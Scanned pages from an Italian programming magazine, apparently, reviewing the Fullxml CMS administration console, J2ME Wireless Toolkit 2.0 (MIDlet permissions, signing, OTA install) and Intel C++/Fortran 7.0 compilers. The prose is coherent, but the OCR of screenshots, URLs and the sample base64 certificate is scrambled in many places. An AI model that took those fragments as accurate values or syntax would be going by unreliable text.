a creare, la form di ricerca all'interno del sito e l'elenco delle pa- 
gine più visitate o "Top Pages". Il risultato è mostrato in Fig. 9; si 
notino la form di ricerca sulla sinistra e l'elenco delle pagine più 
visitate sulla destra. Di passaggio, notiamo come le modifiche 
testé apportate alla struttura del sito sono scritte nel file data.xml 
all'interno della cartella Db: riportiamo in allegato a questo arti- 
colo il codice a questo punto contenuto in tale file affinché ci si 
possa rendere conto della struttura dei dati memorizzati. 




Fig. 7: In ogni momento è possibile visualizzare l'elenco e lo 
stato delle pagine cliccando sulla voce "Pages" nella scheda 
Main della consolle di amministrazione. 



Fig. 9: Abbiamo aggiunto una nuova pagina alla Member Area: si 
notino la form di ricerca sulla sinistra e l'elenco delle pagine più 
visitate sulla destra. 



IL CONTENT MANAGEMENT: ASPETTI 
AMMINISTRATIVI 

Dopo aver compreso come è possibile creare le pagine che com- 
porranno il nostro sito, è giunto il momento di occuparsi degli 
aspetti amministrativi. La voce "principe" in merito è la Settings 
nella "solita" scheda Main (Fig. 10); è tramite Settings che impo- 
stiamo l'URL del sito, i META tags, la messa in offline del sito per 
le operazioni di maintenance, skin, lingua e codifica da utilizzare, 
i loghi, lo stato di moderazione del sito, la lista degli add-on. Que- 
st'ultima comprende banner, elenco degli iscritti, citazioni, gallerie 



16 ►►► M a g g 



3 



http ://www.itport al.it 



I L 



SOFTWARE 



SUL 



C D 



fc I JII!BBBMM!1«,IBB!!HI JBBBI 

FKb Mgdifica Visuale Preferiti Strumenti ? 
I j Indietro » - * ] Jl Ce 



anulari, Qi | - . g ffl ■ _l ff .& 



Indirizzo |~ http:/yio^jir3ji: l :f~iJ^mlBeta_2.3ydeFault,asp?ACT=l&SECT=Ml 

fJ3 Website Ad ministrato r 



Website settings 



Website UP 


L: 


■ ■■ i 


Site name: Fu Itomi weBsite 


Slogan: 




IPoweredtiyfultanl 




META Title 




FuIlKinl weDsite 


META Keyw 


1 




iption: 


1 



Offline fot maintenance 


|N„ 




il 


Menu bar: 


1» 




il 


Skin: 


l« u 




il 


Language: 


|E„„„ e 


h (utf-8) 


il 


Encoding: 


|utf-8 




d 



.ai 



Fig. 10: La voce Settings della scheda Main permette di 
impostare la maggior parte dei parametri globali relativi al 
nostro sito. 

di immagini, guestbook, forum, mappa del sito ed area di down- 
load; ad ognuna di queste voci è poi riservata un'icona specifica 
nella scheda Add-ons della consolle di amministrazione. E, inoltre, 
da questa pagina che specifichiamo l'eventuale componente COM 
per l'invio di e-mail: è possibile utilizzare ASPMail, ASPQmail, 
ASPEmail, l'onnipresente CDONTS, SASmtpMail, o il già ricordato 
JMail. La voce Upload fa uso della ben nota classe FileUpload 
Object v2.6 per effettuare l'upload di file sul sito. Dalla scheda Ca- 
tegories aggiungiamo nuovi menu per la barra di navigazione si- 
nistra del sito, mentre in Contents (Fig. 11) possiamo organizzare i 
vari frame che compongono il sito. 











^jn|x| 

1 sr 


0'"*«™ -0- È! li '• \y cm ts'-'-" «*»*">< 


e|'" 


- £. B < J # £, 






..d.,_ h l „ : ,,l.„ll,.«„.ll„l,.„j.»d.„.l l .,p..e,. 1 KC,. nS 






da» 


Collegamenti » 


Q Website Administrator 








- 


Main 


S Contents manager 


9 

m 
u 












.i..ih.......iii,i.rii, u „ m |Aiiin,„„, 


___^l 


^^^^T^^ ^^cSSS^^ i i Weboaae 1 Auhhor 










full (full) 










^lyhjujB 


^T 










J 2 






^lUKU) 


^e^ 












"■create^ 



Fig. 11: In Contents possiamo organizzare i vari frame che 
compongono il sito. 

L'icona Desktop consente, infine, di visualizzare alcuni parametri 
riassuntivi e gestisce inoltre una task list nella quale è possibile or- 
ganizzare, con vario ordine di priorità, le modifiche da apportare 
al sito. Non meno importante è la scheda Modemtion della consol- 
le di amministrazione nella quale troviamo, fra le altre, la voce 
Members (Fig. 12) che ci permette di configurare gli account per il 
sito. 

All'atto della creazione di un nuovo account, scegliamo lo pseu- 
donimo, la password, l'e-mail e la città, lo stato (che può essere "vi- 



i»""' 








Itti» Iti ht 


p://ldpalhast/FullxmlEieta 2.3/default.asp>ACP=lo5ECT=M8fdd=aew 


da» 1= 


pllegameati " 


1 M*T~ 






- 


p]0 .. , 






Add-ons 


_y\® Member manager 


Moderation 


1 p d 






E,, 

m 




pa " wo,d: 


Ema,l: paal D d@admastarit 


cit * : Pdtenza 


i„B,, a 

...„.„.: | Y „ Jj 

|..mi,i».,.r d 


» 



Fig. 12: La voce Members della scheda Moderation ci permette 
di configurare gli account per il sito. 

sibile" o "non visibile"), se l'account è iscritto alla newsletter del si- 
to, e la categoria di appartenenza scelta fra membro, autore e ammi- 
nistratore. Infine, si fa apprezzare l'area Statistiche (Fig. 13), che per- 
mette di visualizzare, in modalità testuale o grafica, il numero di 
visitatori e di pagine visitate per ogni giorno, oltre a fornire infor- 
mazioni sul browser dell'utente. 




Fig. 13: L'area Statistiche permette di visualizzare, in modalità 
testuale o grafica, il numero di visitatori e di pagine visitate 
ogni giorno, oltre a fornire informazioni sul browser dell'utente. 



CONCLUSIONI 

Non possiamo non apprezzare, considerata soprattutto la gratuità 
del prodotto, la completezza e la facilità di amministrazione offer- 
te da questo strumento Open Source. Si fa particolarmente ap- 
prezzare anche la scelta di basare la gestione dei contenuti intera- 
mente su XML, scelta che apre ampie prospettive di porting di 
questo progetto a dispetto della scelta di realizzare l'ossatura sulla 
base di tecnologie proprietarie Microsoft. 

Rispetto a quelli che sono i riferimenti nel campo del Content Ma- 
nagement (i vari Vignette, Documentum, Interwoven) notiamo solo 
una maggiore difficoltà nell'impostare template personalizzati per 
le pagine, operazione che, come spiegato all'inizio del paragrafo 
"Il Content Management del sito" , richiede ancora la modifica del co- 
dice contenuto in file XSL. 

Non è inoltre difficile ipotizzare, sempre nei confronti dei leader di 
mercato, una difficile scalabilità verso il Content Management di 
siti di grandi dimensioni (nell'ordine delle migliaia di pagine); Ful- 
lxml è di converso una scelta di sicuro interesse per siti di medio- 
piccole dimensioni e, se l'orientamento è verso i Web Server della 
Microsoft, lo Storage dei contenuti del sito in XML apre uno scena- 
rio in cui è possibile avere il solo front-end del proprio sito su mac- 
chine Windows, laddove la logica di back-end può tranquillamen- 
te risiedere su più economiche macchine Linux. 

Paolo De Nictolis 



http ://www.itport al.it 



9 9 



3 ►►► 17 



IL SOFTWARE SUL CD ► ► ► ► ► ► ► ► ► ► ► 

J2ME Wireless Toolkit 2.0 



Una analisi delle novità del tool 



Il J2ME Wireless Toolkit 2.0 è un package 
pensato per creare e testare applicazioni 
MIDP (Mobile Information Device Profile). Le 
dimensioni sono pari a 9,4 Mb, ed è neces- 
sario avere già installato il JDK 1.4. Il sup- 
porto alla versione 2.0 di MIDP (http://wire- 
less.java.sun.com /midp/articles/midp20/) co- 
stituisce la prima, ma non certo l'unica, no- 
vità della versione 2.0, che permetterà agli 
sviluppatori di usufruire di nuove feature 
come il supporto ad HTTPS, una serie di 
API (Application Programming Interfaces) 
per lo sviluppo di applicazioni multime- 
diali e giochi, miglioramenti apportati al 
layout delle form, la rappresentazione di 
immagini come array di interi (che permet- 
te alle applicazioni MID, le cosiddette 
MIDlet, di manipolare direttamente le im- 
magini, ad esempio applicando filtri nu- 
merici), la firma digitale del codice MID, 
un registro push che permette alle MIDlet 
di gestire connessioni di rete, il supporto 
per le suonerie e l'esecuzione di dati audio 
campionati. Oltre agli strumenti base per 
creare applicazioni che fanno uso delle 
MIDlet, il toolkit fornisce allo sviluppatore 
una serie di strumenti per settare i permes- 



1 ti IUM,i,l,«.Aflll.ARRB!^^^M -Inlxi 

MIDlet 




VM e. m 

II 
















■ Exit ShowJHide 




1 ^K^Z-^J 1 


^jMjjJ^ 


1 ^^ ^fgt ^jfir M 


■ ^1^^ ^4y£ ^jrtr m 


■ X|J^ ^JjTA CyflHr J 


SHIFT SPACE J 



si sulle MIDlet create, per applicarvi una 
firma digitale, e per lavorare con i domini 
di protezione. Gli utenti alle prime armi 
con lo sviluppo di applicazioni mobile ap- 
prezzeranno la facilità d'uso dell'interfac- 
cia grafica, laddove gli sviluppatori esperti 
usufruiranno di strumenti potenti per lo 
sviluppo ed il testing del codice MIDP. La 
novità più ovvia della versione 2.0 è l'ag- 
giunta di nuove skin per l'emulatore di ter- 
minale mobile (Fig. 1). L'emulatore è stato 
adeguato all'evolversi della tecnologia: 
mentre nelle versioni 1.0 del Wireless 
Toolkit lo schermo aveva dimensioni 96 x 
128 pixel ed era in scala di grigi, con la ver- 
sione 2.0 le dimensioni sono cresciute a 180 
x 208 pixel e lo schermo è a colori. E neces- 
sario precisare che le specifiche MIDP 2.0 
prevedono una dimensione minima per lo 
schermo di 96 x 54 pixel. Inoltre, è suppor- 
tata una skin di emulatore completamente 
nuova, il QwertyDevice, che comprende 
uno schermo a colori 640 x 240 pixel dota- 
to di una tastiera simile alla Qwerty del 
computer, utilizzato per sviluppare appli- 
cazioni per i communicator (come quello 
prodotto dalla Nokia), che costituiscono il 
dispositivo di livello immediatamente su- 
periore al cellulare. 






Preferences for: 



Storage API Availability 

p Core MIDP API 
p Wireless Messaging API (ISR120) 
F Mobile Media API (JSE135) 




Fig. 1: l'emulatore di terminale mobile 
del Wireless Toolkit 2.0 supporta uno 
schermo 180 x 208 pixel a colori. 



Fig. 2: è possibile limitare il supporto di 
API multimediali onde alleggerire il 
codice. 



MULTIMEDIA 

Accennavamo in apertura come una delle 
novità di MIDP 2.0 sia la possibilità offerta 
allo sviluppatore di eseguire dati audio 
campionati. Le API audio in MIDP 2.0 so- 
no un sottinsieme delle Mobile Media API 
1.0 (MMAPI), un package opzionale per la 
gestione di applicazioni audio/video. Le 



MMAPI sono definite nel documento JSR 
135 (http://jcp.org/en/jsr /detail?id=135), frut- 
to della comunità di sviluppo Java; il sot- 
tinsieme delle API audio contenuto in 
MIDP 2.0 è noto anche come Audio Building 
Block (ABB). Il Lettore interessato potrà ap- 
profondire la propria conoscenza di MMA- 
PI all'URL http://wireless.java.sun.com/apis 
/articles/mmapi_overviewj '. Di default, il 
J2ME Wireless Toolkit 2.0 supporta l'intera 
specifica MMAPI 1.0; se si vuole limitare il 
supporto all' ABB di MIDP 2.0, per non ap- 
pesantire troppo il proprio codice è suffi- 
ciente scegliere Preferences nel menu Edit, 
selezionare la scheda API Availability e ri- 
muovere il segno di spunta dalla voce Mo- 
bile Media API (JSR 135) (Fig. 2). L'MMAPI 
è uno strumento assai flessibile, suppor- 
tando una vasta gamma di contenuti, pro- 
tocolli e capacità di recording: è possibile 
controllare queste opzioni utilizzando la 
scheda MMedia nella finestra di dialogo 
Preferences (Fig. 3). 



■. Audio Missine 




J. 



Fig. 3: è possibile controllare sin nei 
minimi dettagli il supporto ad 
applicazioni multimediali. 



CONNETTIVITÀ 

Per quel che concerne la messaggistica 
SMS (Short Message Service), questa è ge- 
stita dal package opzionale WMA (Wireless 
Messaging Architecture, definita nel docu- 
mento JSR 120, http://jcp.org/en/jsr /detaillid 
=120). Un'introduzione a WMA è disponi- 
bile all'URL http://ivireless.java.sun.com 
jmidp/articles/wma/. L'emulatore del J2ME 
Wireless Toolkit 2.0 supporta la versione 
1.1 di WMA. 

Anche in questo caso, il supporto può es- 
sere disabilitato tramite la scheda API Avai- 
lability (si faccia sempre riferimento alla 



18 ►►► M a g g 



3 



http ://www.itport al.it 



F T W 



Preferences for: 



*1 



Network ConfiEuraiion 
Storage API 

Phone Number of Next Emulator 



jiration HprtnrmarLce | Monitor 

Avàilibility WMA MMedia Security 



SMSC Phone Number 



: |+1 234567390 



First Assigned Photie Number : +5550000 



I r i i i i i i i i i i i i i i i i i i ] S"A Random Message Fragmsnt Loss 
20 40 60 SO 100 



Me55age Fragment Delivery Delay (ms): |1 80 



The changea will tate efFect the next time the emulator is eKecuted 




OK 



Cancel 



Fig. 4: è possibile controllare sin nei minimi dettagli il supporto a WMA. 



Fig. 6. Ogni MIDlet viene inserita in uno 
specifico dominio di protezione sul dispo- 
sitivo; un dominio di protezione determina 
se un permesso deve essere concesso o ne- 
gato. L'emulatore del J2ME Wireless 
Toolkit 2.0 comprende un'implementazio- 
ne dell'architettura di sicurezza dei domini 
di protezione descritta nelle specifiche 
MIDP 2.0. A puro scopo di testing è possi- 
bile scegliere il dominio di protezione a 
runtime dalla scheda Security della finestra 
Preferences. L'emulatore comprende quat- 
tro domini di protezione: 

• untrusted, in cui tutti i permessi sono 
negati o rinviati alla scelta dell'utente. 
Ad esempio, con una semplice MIDlet 
che instaura una connessione HTTP, 
comparirà un prompt che consente al- 
l'utente di permettere o negare la con- 
nessione. 



Fig. 2); inoltre, la scheda WMA nella mede- 
sima finestra consente di personalizzare il 
comportamento dell'implementazione del- 
la WMA (Fig. 4). 

Il toolkit comprende anche un'utility, la 
WMA Console (Fig. 5), che permette allo 
sviluppatore di inviare messaggi di testo 
all'emulatore; si selezioni il comando File/ 
Utilities... e, nella scheda WMA, si faccia 
click su Open console. 




Fig. 5: una piccola utility, la WMA 
Console, permette di inviare messaggi di 
testo all'emulatore. 



Questo tool facilita l'invio di messaggi a di- 
verse istanze dell'emulatore, dalla console 
ad un emulatore, o in broadcast a tutti gli 
emulatori in esecuzione. E possibile, anche, 
utilizzare il registro push per "catturare" 
tutti i messaggi in arrivo e smistarli alla 
MIDlet appropriata. Il Lettore interessato 
potrà migliorare la conoscenza del suppor- 
to a WMA grazie all'applicazione di esem- 
pio SMSDemo inclusa nel J2ME Wireless 
Toolkit. 



SICUREZZA 

Il JAD del proprio set di MIDlet dovrebbe 
comprendere i permessi appropriati; al- 
l'uopo, MIDP 2.0 definisce gli attributi 
MIDlet-Permissions e MIDlet-Permissions- 
opt (i permessi opt sono quelli assolutamen- 
te necessari per eseguire la propria applica- 
zione). Tutti i permessi definiti nelle speci- 
fiche MIDP 2.0 sono correlati a varie moda- 
lità di accesso alla rete: è possibile creare 
dei package opzionali onde definire tipolo- 
gie di permesso aggiuntive laddove è ne- 
cessario. Con la versione 2.0 del J2ME Wi- 
reless Toolkit viene enormemente semplifi- 
cata l'aggiunta degli attributi di permesso 
al JAD: è sufficiente cliccare sul pulsante 
Settings... e selezionare la scheda Permis- 
sions. Ciccando su uno dei pulsanti Add. . . 
sarà poi semplicissimo selezionare un tipo 
di permesso da una lista, come mostra la 




Fig. 6: Il J2ME Wireless Toolkit 2.0 rende 
semplicissima l'operazione di settaggio 
dei permessi per una MIDlet. 



• trusted, che setta ad allow (permesso) 
tutti i permessi di rete e del push regi- 
stry. 

• minimum, che setta a deny (negato) tut- 
ti i permessi di rete e del push registnj. 

• maximum, che setta ad allow (permes- 
so) tutti i permessi. 

Quando si sviluppa un'applicazione utiliz- 
zando il toolkit, l'applicazione viene ese- 
guita nel dominio di protezione seleziona- 
to. Nel mondo reale, le applicazioni vengo- 
no installate nei domini di protezione sulla 
base dell'implementazione dell'architettu- 
ra di sicurezza delle specifiche MIDP 2.0 
adottata dal dispositivo. Il J2ME Wireless 
Toolkit 2.0 comprende inoltre un'imple- 
mentazione che installa insiemi di MIDlet 
firmate digitalmente in un set di domini di 
protezione, sulla base di un certificato. Na- 
turalmente, il toolkit comprende anche gli 
strumenti che permettono di firmare le 
MIDlet. Altrettanto naturalmente, firmare 
una MIDlet è un'operazione che ha poco 
senso se i dispositivi client su cui la MIDlet 
sarà eseguita non possono verificare la fir- 
ma; nel mondo reale la MIDlet è accompa- 
gnata da un certificato di una trusted 
authority mentre per testare l'applicazione 
il Wireless Toolkit mantiene una lista di cer- 
tificati accettati dall'emulatore onde verifi- 
care le firme delle MIDlet. E possibile mo- 
dificare tale lista tramite le utility del 
toolkit; da File /Utilities, basta scegliere la 
scheda Security e ciccare sul pulsante Ma- 



http ://w ww.it portal.it 



9 9 



3 ►►► 19 



w 



jnjxl 



File Action 



GpenKeystore.. 



Certificate List 



Import Certificate.. 



J2ME KeyDetails 



C=US;0=RSÀ Data Secutity, Inc., OU= Se cura Server 
CN=Sun Microsystems Ine TEST CA,0=Sun Micron 
CN=thehost£U=JCT,0=dummyCA;L=Santa Clara; 
C=ZA£T=WestemCape;L=Cape Town,0=Tnawte 



C=USp=VeriSign, Inc.;OU=Class 3 Public Primary ( 
C=ZA£T=WestemCape;L=Cape TownP=Thawte 
C=ZA£T=WestemCape;L=Cape Town;,0=Thawte 
C=USp=VeriSign, Inc.;OU=Class 4 Public Primary ( 
C=TISp=VeiiSigH, Inc.;OU=Class 1 Public Primaryt 
C=ZÀ^T=We5temCape^L=Cape Town;,G=Thawte 
C=USP=VeriSign, Inc.;GU=Clas5 2 Public Pnmary < 
0=Veri£ign Trust Network ;OU= Ve riSign, Inc.;C l U=\ 
0=Sun Microsystems ;C=rtiy5 e rver 



Ouner: C=ZA;ST=uJest.ern Cape;L=Cape Toun;0=Thai 
Valid from Sun Dee 31 19:00:00 EST 1995 to Thi 
Security Domain: untrusted 



il 



jJU- 



Fig. 7: il J2ME Certificate Manager permette di gestire i certificati digitali utilizzati a 
scopo di test durante lo sviluppo. 



nage Certificates, operazione che avvierà il 
J2ME Certificate Manager (Fig. 7). E possi- 
bile utilizzare questo tool per visualizzare e 
gestire i certificati di root mentre si sta te- 
stando la propria MIDlet in un emulatore; 
naturalmente, all'atto del rilascio della 
MIDlet sarà necessario fornire un certifica- 
to valido, acquistato da una root authority. 
Per firmare un insieme di MIDlet, è suffi- 
ciente cliccare sul comando Project/Sign: 
comparirà la Sign MIDlet Suite, che elen- 
cherà tutte le chiavi disponibili per la firma 
(Fig. 8). 



LnJ^J 



J2SE Key Defedi 



m, 0= Jonathan Khudsei 
ila, 0= Jonathan Khudsei 



;:*£'■ 3 te v.: '■ 

Issi . ■ ■ ,■. ■ ■■■■.. 

Sedai numner.: 3elfldfa 

Valid from Fri Jan 10 14:24:42 E3T 2003 to Thu Apr 
!.':';;.'. ■:.:■;. ! . : .'. ;.'!:.•■ <i_ : .»i.j~r.pì_J >.ì.t.r- : 

HDS: 
57:41:c3:42:34:dd:77:9e:38:ee:10:bf : 34: 67 : 3a: 2a 



i4:I.l.i66: hv\ ■:n.:26:^\&y.-Sj\ ;c:ce:i^: ji\ az:%: iddidO: 



J 



Fig. 8: la firma digitale di una MIDlet è 
un'operazione alquanto semplificata dal 
J2ME Wireless Toolkit 2.0. 



Quando si chiede a questo tool di creare 
una coppia di chiavi, verranno richieste al- 
l'utente le consuete informazioni dettate 
dallo standard X.509 da inserire nel certifi- 
cato corrispondente (Organizational Unit, 
Business Unit, paese di appartenenza e co- 
sì via). È necessario inoltre stabilire il do- 
minio di protezione in cui saranno esegui- 
te le MIDlet. Il certificato così generato è 
"autofirmato" (self-signed), e viene auto- 



maticamente aggiunto alla lista di certifica- 
ti del toolkit; sottolineiamo ancora una vol- 
ta che un simile certificato non verrà rico- 
nosciuto da un dispositivo reale. Firmando 
la MIDlet, verrà aggiunta una coppia di 
nuovi attributi al JAR che contiene l'insie- 
me di MIDlet che costituisce l'applicazio- 
ne, la firma stessa ed il certificato; l'opera- 
zione è del tutto trasparente all'utente ma, 
se si vuole verificare quello che succede, 
basta aprire il file JAD in un editor di testo: 
il risultato sarà simile al seguente: 

MIDIet-Certificate-l-l: 

MIIB5DCCAU0CBD4fHfowDQYJKoZIhvcNA\ 

QEEBQAwOTEZMBcGAlUEChMQSm9u 
YXRoYW4gS \ 

251ZHNIbjEcMBoGAlUEBhMTJaFw0wMzA0MTA\ 

wglIR+gcJnQKWfPv2M4VGZpFShCSKzOs= 
MIDIet-Jar-RSA-SHAl: 

IWHoiylUr0AgM0ZrI/Y46a0hMYUO81Kf6yiI \ 
lsXi3g4Ubv2gqC4p7VWyF0c6EWYtqpSYgLOV\ 
/UdSNuADEIcg0QBkTcc0GOfl+ZxQiJRNh/oG \ 
4LfCpPJ+y3zL)fkPwSJw7+7P4McRiXSpqrBLo \ 
USUTa9ZTwV5oB7AUpCcm2U+yxg4= 

Il toolkit codifica sia la firma che il certifi- 
cato usando la codifica base64, che costitui- 
sce un modo efficace per rappresentare da- 
ti binari utilizzando caratteri. 



EMULAZIONE 

È da sottolineare come la ricchezza di nuo- 
ve caratteristiche introdotte dalle specifiche 



MIDP 2.0 rendono il test di installazione 
delle proprie MIDlet importante quanto il 
test di runtime. L'emulatore si dimostra al- 
l'altezza del compito anche in questo. 
Quando è necessario testare il semplice 
comportamento a runtime, come nelle ver- 
sioni precedenti basta ciccare su 
Project/Run (o sul pulsante Run): l'emula- 
tore caricherà le classi direttamente dal 
CLASSPATH, le MIDlet non saranno pac- 
chettizzate e non sarà possibile testare al- 
cune caratteristiche dell'applicazione come 
il registro push e la firma delle MIDlet. Per 
testare queste caratteristiche è disponibile 
una funzione del tutto nuova, il comando 
Run via OTA nel menu Project. OTA sta, 
naturalmente, per Over-The-Air. Questa 
opzione avvia in esecuzione l'Application 
Management Software (AMS) dell'emula- 
tore, e permette di gestire le MIDlet instal- 
late su di un dispositivo. L'AMS usa la ver- 
sione pacchettizzata più di recente di 
un'applicazione, e permette di simulare 
sull'emulatore il processo di installazione. 
Nel corso di tale processo, l'emulatore veri- 
fica le MIDlet firmate digitalmente e le in- 
serisce in esecuzione nel dominio di prote- 
zione appropriato. Una volta che le MIDlet 
sono state installate, l'emulatore è in grado 
di "catturare" le connessioni di rete in arri- 
vo ed attivare le MIDlet che hanno regi- 
strato tali connessioni nel registro push. 
Scegliendo il comando Run via OTA, ven- 
gono mostrate le MIDlet installate (Fig. 9). 





r 

*' WirelessJava 

** wj2 

\1r Permissive 



Back 



Menu 



Fig. 9: la lista delle MIDlet installate 
disponibili nell'Application Management 
Software. 



Scegliendo Instali Application, si vedrà co- 
me le MIDlet vengono eseguite sul localho- 
st: il Wireless Toolkit dispone infatti di una 
implementazione ridotta di un server OTA. 
E sufficiente accettare l'URL proposto per 
dare inizio all'installazione dell'applicazio- 
ne. 

Paolo de Nictoìis 



20 ►►► M a g g 



3 



http ://www.itport al.it 



w 



Compilatori Intel per Windows 

Le nuove versioni dei compilatori C++ e Fortran di Intel permettono di 
sfruttare pienamente le maggiori prestazioni derivanti dalla Hyper-Threading 
Technology. 



La tecnologia Hyper-Threading di Intel 
permette ad un singolo processore di 
elaborare dati come se sulla macchina insi- 
stessero due processori, eseguendo le elabo- 
razioni da thread differenti in maniera pa- 
rallela anziché sequenziale. I processori che 
abilitano la Hyper-Threading Technology 
possono aumentare le prestazioni delle ap- 
plicazioni che abbiano un elevato grado di 
parallelismo. I nuovi compilatori di Intel 
permettono di generare codice compatibile 
con tale tecnologia e, di sfruttare appieno il 
relativo incremento di prestazioni. 

CALCOLO PARALLELO 
E VANTAGGI 

I compilatori Intel sono provvisti di diretti- 
ve, per il software pipelining, loop unrolling 
e data prefetching, che forniscono informa- 
zioni tese ad aumentare l'ottimizzazione del 
codice relativo all'applicazione compilata. 
È previsto il supporto ai maggiori standard 
quali ANSI C/C++ e ISO C/C++. Il vero 
punto di forza dei nuovi compilatori è nella 
capacità di sviluppo e di ottimizzazione per 
applicazioni multi-thread attraverso il sup- 
porto allo standard OpenMP 2.0 per C/C++ 
e Fortran. L'API di OpenMP (iviuw.OpenMP 



.org) supporta la programmazione shared- 
memory parallel multi-piattafoma (Linux, 
Unix, Windows, ecc.), nei linguaggi C/ 
C++ e Fortran, su qualsiasi architettura. 



Definita all'interno di un gruppo costituito 
dai maggiori produttori di hardware e di 
software, OpenMP è un modello portabile e 
scalabile che fornisce un'interfaccia semplice 



^ File Edit View Execute Confi qui e Window Help 




^ISJxJ 
^JffJxJ 


«KM *|* 


ili «MI "3 «lffljr]| uliàlalsl 










P|©| f| ■|M|R|^|ifr|| 


■|<»|à|n|H 


^| |main_thread_Benchmark.e>ie zi l=li-|llìl| < + >| <H 


Control 




Output 


Exceptions 




L BkLd 




D : \Esempi j. 


Enabled |Name (Action IlD 


ije'ired 


- 


Benchinark 
Benchmark 

B ai eh uà r k 

Benchinark 
Benchmark 
Benchmark 
Benchmark T | 


3 1 ContiolC Stop if not handled 0x40010005 
B Control Break Stop if not handled 0x4001 0008 


System 
System 


J 


B Data ty pe M isalignnn... Stop if not I 

_B Access Violation Stop if not r 

B I In Page Error Stop if noti 

B Invalid Handle Stop if noti 
B [No Memory Stop if not h 


andled 0x800000 12 
andled OxcQOQQOQS 


System 
System 




andled OxcOOOOOOE 
andled OxcQOQQOQS 
andled OxcOOOOOl 


System 
System 
System 










Ull 2l 


llleaal Instruction Stoc if not handled 0xcO0OO01 d 




^^^^^^^^=| 






JL 


Disassernbly 


Address | Instruction 


1 File and Line 




Qx0040a956 push ebp 

0x0040a957 rnov ebpj esp 

rjxuQ4Qa959 push -1 

OxOQ40a95b push 0x43dS93 

OxOO40a96O push 0x40ed80 

0x0040a9ó5 mov eax, DWORD PTR fs:[0x0] 

0x0040a96b push eax 

0x0040a96c mov DWORD PTR fs:[0x0L esp 

0x0040a973 sub esp_, 0*58 

0x0040a976 push ebx 


No sre File 

No sre : : iie 
No sre file 
No sre File 
No sre File 
No nie 
No sre File 
Mo sre lite 
No sre File 
No sre File 




<i 


1 iT 


<l 


..■■■. 32 Registers 


Cali Stack 


sax 00000000 J 

ebK 7ffdfQQQ Zi 

ecx 01010101 

edx f f f f f f f f 

ebp 0012fff0 

631 77124394 »j 


■+ Benchmark . ese ! QhQI 


40aS56 




«I 1 M 




Bendirriark.exef. 








J 






For Helpj press FI 




| |lnst 1 32 y<\ 



Fig. 1: L'interfaccia dell'Enhanced Debugger Intel, fornito con l'installazione del 
compilatore. 



Come installare i compilatori 













sì 




1 Intel® C++ Compiler 7.0 for Windows* 




■ n " v 'j" ""■-'--- <-<■' i—'-^n.- .Mi-J.irf,-n 


:££s.^ 1 




-;:'^z:-;::-:ì: 






rSS. 








:zt":z": 






;§— 








; l'.fj! .>"";,; il 1 r^V,;. l*AV, 7„z viir 1 


^^ 


• 


— »-"« ~ 




:Z«ZZ 




"""•• •~;::.",7, n ::;,."i" l- " lc " 






^y***" . 




. BM.ni Editati...! 






( °"" J 


:_.■,:,,■...:■,,,,,,: 


Sin™. 



QPer ottenere la password di instal- 
lazione è neccesario avviare la proce- 
dura di download del sul sito della Intel 
www.intel.com/software/products/compil- 
ers/, scegliere il compilatore si desideriamo 
installare (ad esempio INTEL C++ 7.0 per 
Windows) e cliccare sul pulsante Download 




B Compilare il modulo con i nostri dati, 
con particolare cura all'inserimeento 
corretto dell'indirizzo e-mail. Al fine di com- 
pletare l'installazione del software, ricever- 
emo una e-mail contenente il file di licenza 
{.He) da salvare nella cartella C:\Program 
Files \ Common Files \ Intel \ Licences. 



||TJMIII,H«— MI 




Change,,, | 



Help | Disk Space | _ 



I **> I 



HNon è necessario continuare la proce- 
dura con il download del pacchetto: 
lo abbiamo già sul 2°CD! È sufficiente lan- 
ciare il setup e, una volta ciccato il pulsante 
Instali Now, selezionare il file relativo alla 
licenza salvato in precedenza e scegliere i 
componenti che vogliamo utilizzare... 



http ://www.itport al.it 



g g 



3 ►►► 21 



F T W A 



e flessibile per lo sviluppo di applicazioni 
parallele per piattaforme che vanno dal de- 
sktop al supercomputer. 



CARATTERISTICHE 

I compilatori Intel C++ 7.0 sono progettati 
per funzionare al meglio con processori Intel 
a 32-bit, compresi Pentium 4, Xeon, Itanium 
e Itanium 2, migliorando le funzioni di otti- 
mizzazione, quali la vettorializzazione e le 
Streaming SIMD Extensions 2 (SSE2) per 
IA32, ecc. . . I compilatori offrono anche op- 
zioni (GÌ, G2) di ottimizzazione specifiche 
per i processori Itanium e Itanium 2, per 
trarre vantaggi da questa particolare archi- 
tettura. Infine, i compilatori migliorano la 
compatibilità del codice sorgente prodotto 
con Microsoft Visual Studio 6 e Microsoft Vi- 
sual Studio .NET. 



FUNZIONAMENTO 

I compilatori sono progettati per funzionare 
in maniera console, cioè "a riga di coman- 
do". Tuttavia, il compilatore C++ viene in- 
stallato come plug-in di Microsoft Visual 
C++ 6.0 e/o di Microsoft Visual C++ .NET, 
fornendo una serie di funzionalità piena- 
mente compatibili anche con l'ambiente Vi- 
sual Studio 6.0 o Visual Studio .NET, secon- 
do i casi. Il compilatore Fortran, invece, for- 
nisce una serie di funzionalità compatibili 
con Microsoft Visual Studio .NET 
Effettuate le impostazioni (vedi box in bas- 
so), l'uso del compilatore Intel all'interno di 
Visual Studio è del tutto trasparente al pro- 
grammatore, giacché l'ambiente di pro- 



grammazione provvede alla generazione di 
tutte le direttive di ottimizzazione a partire 
dalle impostazioni di progetto (Finestre 
Project /Settings e Tools/Select Compiler). 
Inoltre, grazie all'utilizzo del compilatore In- 
tel, le applicazioni generate con Visual Stu- 
dio possono godere di maggiore compatibi- 
lità con i processori Intel, e beneficiare del- 
l'aumento di prestazioni derivante dalla tec- 
nologia Hyper-Threading. 



CONCLUSIONI 

I compilatori Intel, per quanto abbiamo visto 
sopra, sono ideali per l'ottimizzazione di ap- 
plicazioni pensate per funzionare su sistemi 
basati su processori Intel. Per trarre maggio- 
ri vantaggi dalla tecnologia Hyper-Threa- 
ding, però, non basta solo usare questi com- 
pilatori. Occorre concepire le applicazioni te- 
nendo conto della possibilità per il processo- 



re di poter "parallelizzare" i processi. Solo 
così si possono ottenere risultati significativi. 
Non ci resta che ricordarvi di effettuare la re- 
gistrazione sul sito di Intel per godere del 
periodo (30 gg.) di valutazione delle demo 
contenute nel CD-Rom. 



Requisiti hardware 

Per lo sviluppo di applicazioni IA-32: 

Sistema basato su processore Intel 

Pentium (Intel Pentium 4 

raccomandato) o superiore; Intel 

Xeon or superiore. 

128 MB di RAM (256 MB di RAM 

raccomandati). 

100 MB di spazio su disco. 

Per lo sviluppo di applicazioni per 

sistemi Itanium 

Sistema basato su processore Itaniun 

or superiori (Itanium 2 

raccomandato) 

512 MB di RAM (1 GB raccomandato). 

100 MB di spazio su disco. 



_r]| (Ali globalmente^] T]| » ElaboraDalil 



"Halite a fi ! il « 



■.:.,. 
